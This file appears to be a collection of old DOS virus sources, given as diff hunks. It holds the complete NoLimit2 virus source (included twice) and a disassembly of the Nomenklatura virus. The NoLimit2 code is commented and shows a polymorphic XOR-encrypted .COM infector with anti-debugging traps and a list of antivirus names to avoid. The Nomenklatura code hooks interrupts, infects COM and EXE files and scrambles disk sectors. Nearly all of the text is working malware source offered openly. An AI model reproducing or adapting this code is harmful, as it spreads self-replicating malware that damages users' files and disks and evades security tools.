EndOfVir Equ $
@@ -0,0 +1,280 @@
;
; NoLimit2 Virus by John Tardy / TridenT
;
; Limited version of Servant Virus
;
; Bugs Fixed from 1:
; With encryption, not all possibilities were used. Solved.
Version Equ 2 ; Initial release.
Org 0h ; Creates a .BIN file.
; This piece of code is located at the begin of the file
Start: Jmp MainVir ; Jump to the main virus.
Db '*' ; Infection marker.
; This will be appended to the victim
MainVir: Lea Si,Decr ; This is the decryptor, which
DecrOfs Equ $-2 ; is mutated from the main
Mov Cx,DecrLen ; virus. It uses a simple xor
Decrypt: Xor B [Si],0 ; algorithm. It uses three
DecVal Equ $-1 ; different index regs, Si, Di
Incer: Inc Si ; or Bx. The Xor OpCode can be
LoopType: Loop Decrypt ; 80h or 82h and it's Loop or
MainLen Equ $-Mainvir ; LoopNz.
; From here everything is encrypted
Decr: Call On1 ; Get Offset of the appended
On1: Pop BP ; virus by pushing the call on
Sub BP,On1 ; the stack and retrieve the
; address.
Mov W TrapIt[Bp],KillDebug ; This routine restores the
Lea Si,OrgPrg[Bp] ; beginning of the original
TrapIt Equ $-2 ; file, except when run from
Mov Di,100h ; a debugger. It will then
Push Di ; put the routine at
Push Ax ; KillDebug in place of that,
Movsw ; this locking the system
Movsw ; after infection and
Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN.
Mov W TrapIt[Bp],OrgPrg ;
Mov Ah,19h ; We don't want to infect
Int 21h ; programs on floppy drive,
Cmp Al,2 ; we then go to NoHD.
Jb NoHD ;
Mov Ah,1ah ; Use a new DTA.
Mov Dx,0fd00h ;
Int 21h ;
In Al,21h ; This makes DOS DEBUG to
Or Al,2 ; hang and thus making
Out 21h,Al ; beginning virus-researchers
Xor Al,2 ; a hard time.
Out 21h,Al ;
Mov Ah,4eh ; Search a .COM file in the
Search: Lea Dx,FileSpec[BP] ; current directory.
Xor Cx,Cx ;
Int 21h ;
Jnc Found ; If found, goto found,
NoHD: Jmp Ready ; else goto ready.
KillDebug: Cli ; The routine that will be
Jmp KillDebug ; activated by the antidebug
; part.
Db '[NoLimit2] John Tardy / Trident '
; Here follows a table of filenames to avoid with infecting.
Tabel Db 'CA' ; Catcher (Gobbler).
Db 'VA' ; Validate (McAfee).
Db 'GU' ; Guard (Dr. Solomon).
Db 'CO' ; Command.Com (Microsoft).
Db '4D' ; 4Dos (JP Software).
Db 'VS' ; VSafe (CPav).
Db 'TB' ; TbDel (Esass).
TabLen Equ $-Tabel
Found: Mov Bx,[0fd1eh] ; This routine checks if
Lea Si,Tabel[Bp] ; the candidate file begins
Mov Cx,TabLen/2 ; with the chars in the table
ChkNam: Lodsw ; above. If so, it goes to
Cmp Ax,Bx ; SearchNext.
Je SearchNext ;
Loop ChkNam ;
mov dx,0fd1eh ; Open the file with only
Mov Ax,3d00h ; read access.
Int 21h ;
Xchg Ax,Bx ; Put Filehandle to BX.
Mov Ah,45h ; Duplicate Filehandle and
Int 21h ; use the new one (confuses
Xchg Ax,Bx ; some resident monitoring
; software (TBFILE)).
mov Ax,1220h ; This is a tricky routine
push bx ; used to get the offset
int 2fh ; to the File Handle Table,
mov bl,es:[di] ; where we can change
Mov Ax,1216h ; directly some things.
int 2fh ;
pop bx ;
mov ds,es ;
mov byte ptr [di+2],2 ; File now open with write
; access.
mov al,b [di+4] ; Store old file attributes
mov b [di+4],0 ; and clear it.
push ax ;
push ds ; Store FHT on the stack.
push di ;
mov ds,cs ; Restore old Ds and Es
mov es,cs ; (with .COM equal to Cs).
Mov Ah,3fh ; Read the first 4 bytes
Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed
Mov Cx,4 ; (the call remember?)).
Int 21h ;
Mov Ax,OrgPrg[BP] ; Check if it is a renamed
Cmp Ax,'ZM' ; .EXE file. If so, goto
Je ExeFile ; ExeFile.
Cmp Ax,'MZ' ;
Je ExeFile ;
Cmp B OrgPrg[3][Bp],'*' ; Check if already infected.
Jne Infect ; If not so, goto Infect.
ExeFile: Call Close ; Call file close routine.
SearchNext: Mov Ah,4fh ; And search the next victim.
Jmp Search ;
Infect: Mov Ax,4202h ; Jump to EOF.
Cwd ;
Xor Cx,Cx ;
Int 21h ;
Sub Ax,3 ; Calculate the Jump and the
Mov CallPtr[BP+1],Ax ; decryptor offset values.
Add Ax,(Offset Decr+0ffh) ;
Mov DecrOfs[Bp],Ax ;
Call EncryptIt ; Call Encryption engine.
Mov Ah,40h ; Write the decoder to the
Lea Dx,MainVir[Bp] ; end of the file.
Mov Cx,MainLen ;
Int 21h ;
Mov Ah,40h ; And append the encrypted
Lea Dx,EndOfVir[BP] ; main virus body to it
Mov Cx,DecrLen ; also.
Int 21h ;
Mov Ax,4200h ; Jump to the beginning of
Cwd ; the file.
Xor Cx,Cx ;
Int 21h ;
Mov Ah,40h ; And write the jump to the
Lea Dx,CallPtr[BP] ; over the first 4 bytes of
Mov Cx,4 ; the file.
Int 21h ;
Call Close ; Call close routine.
Ready: Mov Ah,1ah ; Restore the DTA.
Mov Dx,80h ;
Int 21h ;
Pop Ax ; Restore error register.
Ret ; Return to host (at 100h).
Close: Pop Si
pop di ; Restore FHT offset again.
pop ds ;
or b [di+6],40h ; Do not change file date/time
; stamps.
pop ax ; Restore file attributes.
mov b [di+4],al ;
Mov Ah,3eh ; Close file.
Int 21h ;
mov ds,cs ; Restore Ds segment.
Push Si
Ret
CallPtr Db 0e9h,0,0 ; Here the jump is generated.
FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker.
OrgPrg: Int 20h ; Original 4 bytes of the
Nop ; host program.
Nop ;
EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a
Mov Ds,Ax ; random value).
Mov Ax,W Ds:[046ch] ;
Xchg Al,Ah ;
Push Ax
Mov Ah,2ch ;
Int 21h ;
Pop Ax ;
Not Cx ;
Add Ax,Cx ;
Adc Ax,Dx ;
Mov Ds,Cs ;
Test Al,1 ;
Jnz GenKey ;
Xor B Decrypt[Bp],2 ; Make the Xor variable.
GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body
Lea Si,Decr[Bp] ; to the address just at the
Lea Di,EndOfVir[Bp] ; end of the virus.
Mov Cx,DecrLen ;
Push Ax ;
Encrypt: Lodsb ;
Xor Al,Ah ;
Stosb ;
Loop Encrypt ;
Pop Ax ;
Test Ah,2 ; Make the Loop variable
Jc NoGarble ; (xor works like a switch
Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h).
Add Al,Ah ; Read the different
And Ax,0003h ; Si, Di, Bx instructions
Mov Si,Ax ; from the table and store
Add Si,PolyTable ; them into the decrytor, thus
Add Si,Bp ; making it recognizable only
Lodsb ; at 4 bytes. (or nibble
Mov B MainVir[Bp],Al ; checking is usable).
Add Si,3 ;
Lodsb ;
Mov B Decrypt[Bp+1],Al ;
Add Si,3 ;
Lodsb ;
Mov B Incer[Bp],Al ;
NoGarble: Ret ; Return to called
; Table with functions for polymorphing
PolyTable Equ $
Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si
Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si
Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si
DB Version ; Virus version number
DecrLen Equ $-Decr
EndOfVir Equ $
@@ -0,0 +1,280 @@
;
; NoLimit2 Virus by John Tardy / TridenT
;
; Limited version of Servant Virus
;
; Bugs Fixed from 1:
; With encryption, not all possibilities were used. Solved.
Version Equ 2 ; Initial release.
Org 0h ; Creates a .BIN file.
; This piece of code is located at the begin of the file
Start: Jmp MainVir ; Jump to the main virus.
Db '*' ; Infection marker.
; This will be appended to the victim
MainVir: Lea Si,Decr ; This is the decryptor, which
DecrOfs Equ $-2 ; is mutated from the main
Mov Cx,DecrLen ; virus. It uses a simple xor
Decrypt: Xor B [Si],0 ; algorithm. It uses three
DecVal Equ $-1 ; different index regs, Si, Di
Incer: Inc Si ; or Bx. The Xor OpCode can be
LoopType: Loop Decrypt ; 80h or 82h and it's Loop or
MainLen Equ $-Mainvir ; LoopNz.
; From here everything is encrypted
Decr: Call On1 ; Get Offset of the appended
On1: Pop BP ; virus by pushing the call on
Sub BP,On1 ; the stack and retrieve the
; address.
Mov W TrapIt[Bp],KillDebug ; This routine restores the
Lea Si,OrgPrg[Bp] ; beginning of the original
TrapIt Equ $-2 ; file, except when run from
Mov Di,100h ; a debugger. It will then
Push Di ; put the routine at
Push Ax ; KillDebug in place of that,
Movsw ; this locking the system
Movsw ; after infection and
Lea Dx,OrgPrg[Bp] ; confusing TBCLEAN.
Mov W TrapIt[Bp],OrgPrg ;
Mov Ah,19h ; We don't want to infect
Int 21h ; programs on floppy drive,
Cmp Al,2 ; we then go to NoHD.
Jb NoHD ;
Mov Ah,1ah ; Use a new DTA.
Mov Dx,0fd00h ;
Int 21h ;
In Al,21h ; This makes DOS DEBUG to
Or Al,2 ; hang and thus making
Out 21h,Al ; beginning virus-researchers
Xor Al,2 ; a hard time.
Out 21h,Al ;
Mov Ah,4eh ; Search a .COM file in the
Search: Lea Dx,FileSpec[BP] ; current directory.
Xor Cx,Cx ;
Int 21h ;
Jnc Found ; If found, goto found,
NoHD: Jmp Ready ; else goto ready.
KillDebug: Cli ; The routine that will be
Jmp KillDebug ; activated by the antidebug
; part.
Db '[NoLimit2] John Tardy / Trident '
; Here follows a table of filenames to avoid with infecting.
Tabel Db 'CA' ; Catcher (Gobbler).
Db 'VA' ; Validate (McAfee).
Db 'GU' ; Guard (Dr. Solomon).
Db 'CO' ; Command.Com (Microsoft).
Db '4D' ; 4Dos (JP Software).
Db 'VS' ; VSafe (CPav).
Db 'TB' ; TbDel (Esass).
TabLen Equ $-Tabel
Found: Mov Bx,[0fd1eh] ; This routine checks if
Lea Si,Tabel[Bp] ; the candidate file begins
Mov Cx,TabLen/2 ; with the chars in the table
ChkNam: Lodsw ; above. If so, it goes to
Cmp Ax,Bx ; SearchNext.
Je SearchNext ;
Loop ChkNam ;
mov dx,0fd1eh ; Open the file with only
Mov Ax,3d00h ; read access.
Int 21h ;
Xchg Ax,Bx ; Put Filehandle to BX.
Mov Ah,45h ; Duplicate Filehandle and
Int 21h ; use the new one (confuses
Xchg Ax,Bx ; some resident monitoring
; software (TBFILE)).
mov Ax,1220h ; This is a tricky routine
push bx ; used to get the offset
int 2fh ; to the File Handle Table,
mov bl,es:[di] ; where we can change
Mov Ax,1216h ; directly some things.
int 2fh ;
pop bx ;
mov ds,es ;
mov byte ptr [di+2],2 ; File now open with write
; access.
mov al,b [di+4] ; Store old file attributes
mov b [di+4],0 ; and clear it.
push ax ;
push ds ; Store FHT on the stack.
push di ;
mov ds,cs ; Restore old Ds and Es
mov es,cs ; (with .COM equal to Cs).
Mov Ah,3fh ; Read the first 4 bytes
Lea Dx,OrgPrg[BP] ; to OrgPrg (Bp indexed
Mov Cx,4 ; (the call remember?)).
Int 21h ;
Mov Ax,OrgPrg[BP] ; Check if it is a renamed
Cmp Ax,'ZM' ; .EXE file. If so, goto
Je ExeFile ; ExeFile.
Cmp Ax,'MZ' ;
Je ExeFile ;
Cmp B OrgPrg[3][Bp],'*' ; Check if already infected.
Jne Infect ; If not so, goto Infect.
ExeFile: Call Close ; Call file close routine.
SearchNext: Mov Ah,4fh ; And search the next victim.
Jmp Search ;
Infect: Mov Ax,4202h ; Jump to EOF.
Cwd ;
Xor Cx,Cx ;
Int 21h ;
Sub Ax,3 ; Calculate the Jump and the
Mov CallPtr[BP+1],Ax ; decryptor offset values.
Add Ax,(Offset Decr+0ffh) ;
Mov DecrOfs[Bp],Ax ;
Call EncryptIt ; Call Encryption engine.
Mov Ah,40h ; Write the decoder to the
Lea Dx,MainVir[Bp] ; end of the file.
Mov Cx,MainLen ;
Int 21h ;
Mov Ah,40h ; And append the encrypted
Lea Dx,EndOfVir[BP] ; main virus body to it
Mov Cx,DecrLen ; also.
Int 21h ;
Mov Ax,4200h ; Jump to the beginning of
Cwd ; the file.
Xor Cx,Cx ;
Int 21h ;
Mov Ah,40h ; And write the jump to the
Lea Dx,CallPtr[BP] ; over the first 4 bytes of
Mov Cx,4 ; the file.
Int 21h ;
Call Close ; Call close routine.
Ready: Mov Ah,1ah ; Restore the DTA.
Mov Dx,80h ;
Int 21h ;
Pop Ax ; Restore error register.
Ret ; Return to host (at 100h).
Close: Pop Si
pop di ; Restore FHT offset again.
pop ds ;
or b [di+6],40h ; Do not change file date/time
; stamps.
pop ax ; Restore file attributes.
mov b [di+4],al ;
Mov Ah,3eh ; Close file.
Int 21h ;
mov ds,cs ; Restore Ds segment.
Push Si
Ret
CallPtr Db 0e9h,0,0 ; Here the jump is generated.
FileSpec Db '*.CoM',0 ; FileSpec + Infection Marker.
OrgPrg: Int 20h ; Original 4 bytes of the
Nop ; host program.
Nop ;
EncryptIt: Xor Ax,Ax ; Get timer tick (seen as a
Mov Ds,Ax ; random value).
Mov Ax,W Ds:[046ch] ;
Xchg Al,Ah ;
Push Ax
Mov Ah,2ch ;
Int 21h ;
Pop Ax ;
Not Cx ;
Add Ax,Cx ;
Adc Ax,Dx ;
Mov Ds,Cs ;
Test Al,1 ;
Jnz GenKey ;
Xor B Decrypt[Bp],2 ; Make the Xor variable.
GenKey: Mov B DecVal[Bp],Ah ; Encrypt the virus body
Lea Si,Decr[Bp] ; to the address just at the
Lea Di,EndOfVir[Bp] ; end of the virus.
Mov Cx,DecrLen ;
Push Ax ;
Encrypt: Lodsb ;
Xor Al,Ah ;
Stosb ;
Loop Encrypt ;
Pop Ax ;
Test Ah,2 ; Make the Loop variable
Jc NoGarble ; (xor works like a switch
Xor B LoopType[Bp],2 ; for 80h/82h or 0e0h/0e2h).
Add Al,Ah ; Read the different
And Ax,0003h ; Si, Di, Bx instructions
Mov Si,Ax ; from the table and store
Add Si,PolyTable ; them into the decrytor, thus
Add Si,Bp ; making it recognizable only
Lodsb ; at 4 bytes. (or nibble
Mov B MainVir[Bp],Al ; checking is usable).
Add Si,3 ;
Lodsb ;
Mov B Decrypt[Bp+1],Al ;
Add Si,3 ;
Lodsb ;
Mov B Incer[Bp],Al ;
NoGarble: Ret ; Return to called
; Table with functions for polymorphing
PolyTable Equ $
Db 0beh,0bfh,0bbh,0beh ; Mov Si,Di,Bx,Si
Db 034h,035h,037h,034h ; Xor Si,Di,Bx,Si
Db 046h,047h,043h,046h ; Inc Si,Di,Bx,Si
DB Version ; Virus version number
DecrLen Equ $-Decr
EndOfVir Equ $
@@ -0,0 +1,562 @@
PAGE 60,132
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ ÛÛ
;ÛÛ NOMNCLTR ÛÛ
;ÛÛ ÛÛ
;ÛÛ Created: 19-Jan-92 ÛÛ
;ÛÛ ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
.286c
data_1e equ 4Ch ; (0000:004C=0E9h)
data_2e equ 84h ; (0000:0084=9Eh)
data_3e equ 46Ch ; (0000:046C=66CDh)
data_4e equ 3 ; (5C42:0003=0FFFFh)
data_5e equ 12h ; (5C42:0012=0)
data_17e equ 1610h ; (5C43:1610=0)
data_18e equ 4BAAh ; (5C43:4BAA=0)
data_19e equ 5C43h ; (5C43:5C43=0)
data_20e equ 0FE52h ; (5C43:FE52=0)
data_21e equ 0FFDBh ; (5C43:FFDB=0)
code_seg_a segment
assume cs:code_seg_a, ds:code_seg_a
org 100h
nomncltr proc far
start:
jmp loc_2
db 35 dup (90h)
data_7 dw 9090h ; Data table (indexed access)
data_8 dw 9090h ; Data table (indexed access)
db 30 dup (90h)
data_9 dw 9090h ; Data table (indexed access)
db 651 dup (90h)
data_10 dw 9090h
data_11 dw 9090h
db 169 dup (90h)
data_12 db 90h
db 125 dup (90h)
loc_2:
jmp loc_34
db 'Nomenklatura'
db 0, 80h, 0FCh, 4Bh, 74h, 0Ah
db 80h, 0FCh
db 3Dh, 74h
data_13 dd 2EFF2E14h
data_14 dw 3D9h
data_15 db 3Ch
db 0AAh, 72h
data_16 dw 550Bh
db 8Bh, 0ECh, 80h, 66h, 6, 0FEh
db 5Dh, 0B0h, 3, 0CFh, 6, 1Eh
db 57h, 56h, 55h, 52h, 51h, 53h
db 50h, 0FCh, 72h, 22h, 0B9h, 80h
db 0, 8Bh, 0F2h
locloop_4:
lodsb ; String [si] to al
or al,al ; Zero ?
loopnz locloop_4 ; Loop if zf=0, cx>0
mov cx,432Eh
sub si,3
lodsw ; String [si] to ax
cmp ax,4D4Fh
je loc_5 ; Jump if equal
cmp ax,4558h
jne loc_9 ; Jump if not equal
mov ch,ah
loc_5:
cmp [si-4],cx
jne loc_9 ; Jump if not equal
loc_6:
mov ax,3D02h
pushf ; Push flags
push cs
call sub_1
jc loc_9 ; Jump if carry Set
xchg ax,bx
push cs
pop ds
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
push cx
push dx
mov di,515h
mov word ptr [di],12Bh
mov [di+2],cs
mov word ptr [di+4],3B2h
mov [di+6],cs
call sub_5
mov dx,4FDh
mov si,dx
mov cl,18h
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
jc loc_8 ; Jump if carry Set
cmp word ptr [si],5A4Dh
jne loc_7 ; Jump if not equal
call sub_2
jmp short loc_8
loc_7:
call sub_4
loc_8:
mov ax,5701h
pop dx
pop cx
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
call sub_5
loc_9:
pop ax
pop bx
pop cx
pop dx
pop bp
pop si
pop di
pop ds
pop es
jmp loc_3
nomncltr endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_2 proc near
mov cx,[si+16h]
add cx,[si+8]
mov ax,10h
mul cx ; dx:ax = reg * ax
add ax,[si+14h]
adc dx,0
push dx
push ax
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
test dx,dx
jnz loc_10 ; Jump if not zero
cmp ax,400h
jae loc_10 ; Jump if above or =
pop ax
pop dx
ret
loc_10:
mov di,ax
mov bp,dx
pop cx
sub ax,cx
pop cx
sbb dx,cx
cmp word ptr [si+0Ch],0
je loc_ret_13 ; Jump if equal
test dx,dx
jnz loc_11 ; Jump if not zero
cmp ax,400h
je loc_ret_13 ; Jump if equal
loc_11:
mov dx,bp
mov ax,di
push dx
push ax
add ax,400h
adc dx,0
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
mov [si+2],dx
test dx,dx
jz loc_12 ; Jump if zero
inc ax
loc_12:
mov [si+4],ax
pop ax
pop dx
mov di,10h
div di ; ax,dx rem=dx:ax/reg
sub ax,[si+8]
les di,dword ptr [si+14h] ; Load 32 bit ptr
mov data_10,di ; (5C43:03D5=9090h)
mov data_11,es ; (5C43:03D7=9090h)
mov [si+14h],dx
mov [si+16h],ax
call sub_3
jc loc_ret_13 ; Jump if carry Set
mov ah,40h ; '@'
mov dx,si
mov cx,18h
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
loc_ret_13:
ret
sub_2 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_3 proc near
mov ah,40h ; '@'
mov cx,400h
mov dx,100h
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
xor cx,ax
cmc ; Complement carry
jnz loc_ret_14 ; Jump if not zero
mov ax,4200h
mov dx,cx
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
loc_ret_14:
ret
sub_3 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_4 proc near
mov ax,4202h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
cmp ax,400h
jb loc_ret_17 ; Jump if below
cmp ax,0FA00h
jae loc_ret_17 ; Jump if above or =
push ax
cmp byte ptr [si],0E9h
jne loc_16 ; Jump if not equal
sub ax,403h
cmp ax,[si+1]
jne loc_16 ; Jump if not equal
loc_15:
pop ax
ret
loc_16:
call sub_3
jc loc_15 ; Jump if carry Set
pop ax
sub ax,3
mov dx,3D5h
mov si,dx
mov byte ptr cs:[si],0E9h
mov cs:[si+1],ax
mov ah,40h ; '@'
mov cx,3
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
loc_ret_17:
ret
sub_4 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_5 proc near
xor ax,ax ; Zero register
mov es,ax
mov si,515h
mov di,90h
mov cx,2
locloop_18:
lodsw ; String [si] to ax
xchg ax,dx
lodsw ; String [si] to ax
xchg dx,es:[di]
xchg ax,es:[di+2]
mov [si-4],dx
mov [si-2],ax
mov di,4Ch
loop locloop_18 ; Loop if cx > 0
ret
sub_5 endp
db 2Eh, 80h, 3Eh, 1Fh, 5, 0
db 74h, 12h, 41h, 75h, 0Eh, 32h
db 0E4h, 2Eh, 86h, 26h, 1Fh, 5
db 0F5h, 2Eh, 8Bh, 0Eh, 22h, 5
db 41h, 49h, 9Ch, 50h, 9Ch, 0Eh
db 0E8h, 0EFh, 0, 73h, 7, 83h
db 0C4h, 4, 0F9h, 0E9h, 0C8h, 0
loc_19:
pop ax
sub ah,2
cmp ah,2
jae loc_28 ; Jump if above or =
push bx
push cx
push si
push ds
loc_20:
push ax
push bx
push cx
push dx
xor dx,dx ; Zero register
mov cx,100h
mov si,bx
push si
locloop_21:
lods word ptr es:[si] ; String [si] to ax
dec ax
cmp ax,0FFF5h
jae loc_23 ; Jump if above or =
cmp ax,bx
jne loc_22 ; Jump if not equal
inc dh
loc_22:
xchg ax,bx
inc dx
inc bx
loc_23:
loop locloop_21 ; Loop if cx > 0
pop si
shr dl,1 ; Shift w/zeros fill
clc ; Clear carry flag
jz loc_25 ; Jump if zero
cmp dl,dh
jae loc_25 ; Jump if above or =
clc ; Clear carry flag
push cs
pop ds
mov bx,520h
inc word ptr [bx]
jnz loc_25 ; Jump if not zero
inc word ptr ds:data_20e[bx] ; (5C43:FE52=0)
mov al,ds:data_21e[bx] ; (5C43:FFDB=0)
add al,0F8h
jnc loc_24 ; Jump if carry=0
mov al,0FFh
loc_24:
mov [bx+1],al
xor bx,bx ; Zero register
mov ds,bx
mov ax,ds:data_3e ; (0000:046C=66D9h)
xchg bl,ah
add bx,bx
add bx,si
add ax,ax
add si,ax
push es
pop ds
mov ax,[bx]
xchg ax,[si]
mov [bx],ax
stc ; Set carry flag
loc_25:
pop dx
pop cx
pop bx
jnc loc_26 ; Jump if carry=0
mov ax,301h
pushf ; Push flags
push cs
call sub_7
loc_26:
pop ax
jc loc_27 ; Jump if carry Set
dec al
jnz loc_20 ; Jump if not zero
loc_27:
pop ds
pop si
pop cx
pop bx
loc_28:
pop ax
shr ax,1 ; Shift w/zeros fill
jnc loc_31 ; Jump if carry=0
mov ax,100h
jmp short loc_32
db 0, 0, 2Eh, 0FFh, 36h, 1Dh
db 5, 9Dh, 74h, 50h, 2Eh, 88h
db 26h, 1Fh, 5, 2Eh, 89h, 0Eh
db 22h, 5, 2Eh, 3Ah, 26h, 82h
db 4, 75h, 3, 80h, 0F4h, 1
loc_29:
push cx
mov cx,0FFFFh
pushf ; Push flags
push cs
call sub_6
pop cx
pushf ; Push flags
cmp cs:data_15,0 ; (5C43:051F=3Ch)
loc_30:
jne loc_30 ; Jump if not equal
popf ; Pop flags
jnc loc_32 ; Jump if carry=0
cmp ah,1
stc ; Set carry flag
jnz loc_32 ; Jump if not zero
loc_31:
xor ax,ax ; Zero register
loc_32:
sti ; Enable interrupts
ret 2 ; Return far
db 2Eh, 3Ah, 26h, 83h, 4, 74h
db 0F3h, 84h, 0E4h, 74h, 0EFh, 80h
db 0FCh, 1, 74h, 5, 80h, 0FCh
db 5, 72h, 0ADh
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_6 proc near
jmp cs:data_13 ; (5C43:0519=2E14h)
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
sub_7:
loc_33:
jmp far ptr loc_37
sub_6 endp
loc_34:
push ds
call sub_8
push cs
add [di],dl
add ss:data_17e[bp],bx ; (5C43:1610=0)
add ds:data_18e[bx+si],di ; (5C43:4BAA=0)
int 21h ; DOS Services ah=function 03h
; get char al from serial port
jnc loc_35 ; Jump if carry=0
pop si
push si
push es
xor ax,ax ; Zero register
mov ds,ax
les bx,dword ptr ds:data_1e ; (0000:004C=0FE9h) Load 32 bit ptr
mov ah,13h
int 2Fh ; Multiplex/Spooler al=func 00h
; get installed status
push es
push bx
mov ah,13h
int 2Fh ; Multiplex/Spooler al=func 00h
; get installed status
pop word ptr cs:[si-8]
pop bx
mov cs:[si-6],bx
mov ax,es
cmp ax,bx
les bx,dword ptr ds:data_2e ; (0000:0084=109Eh) Load 32 bit ptr
push cs
pop ds
pushf ; Push flags
pop data_9[si] ; (5C43:0148=9090h)
mov [si+4],bx
mov [si+6],es
pop ax
dec ax
mov ds,ax
mov bx,43h
sub ds:data_5e,bx ; (5C42:0012=0)
sub ds:data_4e,bx ; (5C42:0003=0FFFFh)
inc ax
add ax,ds:data_4e ; (5C42:0003=0FFFFh)
push ax
sub ax,10h
push ax
mov ds,ax
mov dx,2BCh
mov ah,13h
int 2Fh ; Multiplex/Spooler al=func 32h
pop dx
pop es
xor di,di ; Zero register
push cs
pop ds
inc data_7[si] ; (5C43:0126=9090h)
sub si,2D5h
mov cx,41Fh
rep movsb ; Rep while cx>0 Mov [si] to es:[di]
mov ax,0FE00h
stosb ; Store al to es:[di]
stosw ; Store ax to es:[di]
mov es,cx
mov di,84h
mov ax,110h
stosw ; Store ax to es:[di]
xchg ax,dx
stosw ; Store ax to es:[di]
loc_35:
pop si
pop es
push cs
pop ds
xor ax,ax ; Zero register
cmp data_8[si],5A4Dh ; (5C43:0128=9090h)
jne loc_36 ; Jump if not equal
mov dx,es
add dx,10h
add [si+2],dx
push es
pop ds
jmp dword ptr cs:[si] ; 1 entry
loc_36:
sub si,0FED8h
mov di,100h
push di
movsw ; Mov [si] to es:[di]
movsb ; Mov [si] to es:[di]
ret
db 3, 4, 92h, 0AEh, 0A7h, 0A8h
db 20h, 0A4h, 0A5h, 0A1h, 0A5h, 0ABh
db 20h, 0A8h, 0A4h, 0A8h, 0AEh, 0B2h
db 20h, 0A2h, 0ACh, 0A5h, 0B1h, 0B2h
db 0AEh, 20h, 0A4h, 0A0h, 20h, 0B6h
db 0A5h, 0ABh, 0B3h, 0ADh, 0A5h, 20h
db 0B1h, 0AEh, 0B7h, 0ADh, 0A8h, 0B2h
db 0A5h, 20h, 0B3h, 0B1h, 0B2h, 0ADh
db 0A8h, 20h, 0ADh, 0A0h, 20h, 0ACh
db 0AEh, 0ACh, 0A8h, 0B7h, 0A5h, 0B2h
db 0AEh, 2Ch, 20h, 0A2h, 0AFh, 0A8h
db 20h, 0B3h, 0B1h, 0B2h, 0ADh, 0A8h
db 20h, 0B2h, 0A0h, 0ACh, 2Ch, 20h
db 0AAh, 0BAh, 0A4h, 0A5h, 0B2h, 0AEh
db 20h, 0B2h, 0B0h, 0BFh, 0A1h, 0A2h
